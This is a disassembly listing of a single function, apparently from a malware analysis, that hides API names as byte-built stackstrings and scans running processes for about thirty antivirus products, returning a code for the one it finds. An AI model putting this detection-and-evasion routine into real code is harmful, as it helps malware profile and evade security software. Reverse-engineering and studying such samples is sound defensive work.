Function at 0x401d50
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
push edi
xor eax, eax
push esi
push ebx
mov ecx, 0x19
sub esp, 0x20c
lea edi, [esp + 0x10]
lea esi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x74]
mov ecx, 0x19
mov byte [esp + 0x10], 0x6b
mov byte [esp + 0x11], 0x65
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x13], 0x6e
mov byte [esp + 0x14], 0x65
mov byte [esp + 0x15], 0x6c
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
rep stosd dword es:[edi], eax
mov dword [esp], esi
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], 0x6c
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
lea ebx, [esp + 0x74]
mov dword [esp], eax
mov byte [esp + 0x74], 0x4c
mov byte [esp + 0x75], 0x6f
mov byte [esp + 0x76], 0x61
mov dword [esp + 4], ebx
mov byte [esp + 0x77], 0x64
mov byte [esp + 0x78], 0x4c
mov byte [esp + 0x79], 0x69
mov byte [esp + 0x7a], 0x62
mov byte [esp + 0x7b], 0x72
mov byte [esp + 0x7c], 0x61
mov byte [esp + 0x7d], 0x72
mov byte [esp + 0x7e], 0x79
mov byte [esp + 0x7f], 0x41
mov byte [esp + 0x80], 0
call fcn.00401d00
mov dword [esp], esi
mov dword [0x40c060], eax
xor esi, esi
call eax
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
mov byte [esp + 0x74], 0x43
mov byte [esp + 0x75], 0x72
mov byte [esp + 0x76], 0x65
mov byte [esp + 0x77], 0x61
mov byte [esp + 0x78], 0x74
mov byte [esp + 0x79], 0x65
mov byte [esp + 0x7a], 0x54
mov byte [esp + 0x7b], 0x6f
mov byte [esp + 0x7c], 0x6f
mov byte [esp + 0x7d], 0x6c
mov byte [esp + 0x7e], 0x68
mov byte [esp + 0x7f], 0x65
mov byte [esp + 0x80], 0x6c
mov byte [esp + 0x81], 0x70
mov byte [esp + 0x82], 0x33
mov byte [esp + 0x83], 0x32
mov byte [esp + 0x84], 0x53
mov byte [esp + 0x85], 0x6e
mov byte [esp + 0x86], 0x61
mov byte [esp + 0x87], 0x70
mov byte [esp + 0x88], 0x73
mov byte [esp + 0x89], 0x68
mov byte [esp + 0x8a], 0x6f
mov byte [esp + 0x8b], 0x74
mov byte [esp + 0x8c], 0
call fcn.00401d00
mov dword [esp + 4], 0
mov dword [0x40c05c], eax
mov dword [esp], 2
call eax
sub esp, 8
cmp eax, 0xffffffff
je 0x401f49
lea ebp, [esp + 0xd8]
mov dword [esp], eax
mov edi, eax
mov dword [esp + 0xd8], 0x128
mov dword [esp + 4], ebp
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
mov esi, eax
lea ebx, [esp + 0xfc]
je 0x4022d8
mov dword [esp + 4], str.ekrn.exe
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
jne 0x401f60
mov dword [esp], edi
mov esi, 1
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
add esp, 0x20c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], str.egui.exe
mov dword [esp], ebx
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
je 0x401f39
mov dword [esp + 4], 0x409096
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402335
mov dword [esp + 4], str.AVGUI
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402335
mov dword [esp + 4], str.bdagent
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402305
mov dword [esp + 4], str.gziface
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402305
mov dword [esp + 4], str.bitdefender_isecurity.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402305
mov dword [esp + 4], str.uiSeAgnt.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402425
mov dword [esp + 4], str.ccSvcHst.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4022f0
mov dword [esp + 4], str.norton
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4022f0
mov dword [esp + 4], str.nis.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4022f0
mov dword [esp + 4], str.ns.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4022f0
mov dword [esp + 4], str.AvkTray
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402365
mov dword [esp + 4], str.AVKTray
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402365
mov dword [esp + 4], str.apvui.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402380
mov dword [esp + 4], 0x409114
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402380
mov dword [esp + 4], str.SCANWSCS.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402440
mov dword [esp + 4], str.PSUAMain.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402455
mov dword [esp + 4], str.escanmon.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402320
mov dword [esp + 4], str.escanpro.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402320
mov dword [esp + 4], str.TRAYICOS.EXE
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402320
mov dword [esp + 4], str.Tray.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402395
mov dword [esp + 4], str.Prd.EventViewer.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402395
mov dword [esp + 4], str.MsMpEng.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402350
mov dword [esp + 4], str.MpCmdRun.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402350
mov dword [esp + 4], str.NisSrv.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402350
mov dword [esp + 4], str.zatray.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4023b0
mov dword [esp + 4], str.AkSA.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4023b0
mov dword [esp + 4], str.fshoster32.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402470
mov dword [esp + 4], str.K7SysMon.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4023c5
mov dword [esp + 4], str.k7tsecurity.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4023c5
mov dword [esp + 4], str.SophosUI.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4023e0
mov dword [esp + 4], str.hmpalert.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4023e0
mov dword [esp + 4], str.vkise.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4023f5
mov dword [esp + 4], str.cavwp.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x4023f5
mov dword [esp + 4], str.spideragent.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402410
mov dword [esp + 4], str.frwl_notify.exe
mov dword [esp], ebx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402410
mov dword [esp + 4], ebp
mov dword [esp], edi
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
mov esi, eax
jne 0x401f22
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, esi
add esp, 0x20c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], edi
mov esi, 5
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 3
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 0xb
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 2
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 0xe
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 6
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 7
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 0xd
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 0xc
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 0x10
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 0x11
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 0x12
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 0x13
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 4
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 0xa
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 9
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49
mov dword [esp], edi
mov esi, 0xf
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401f49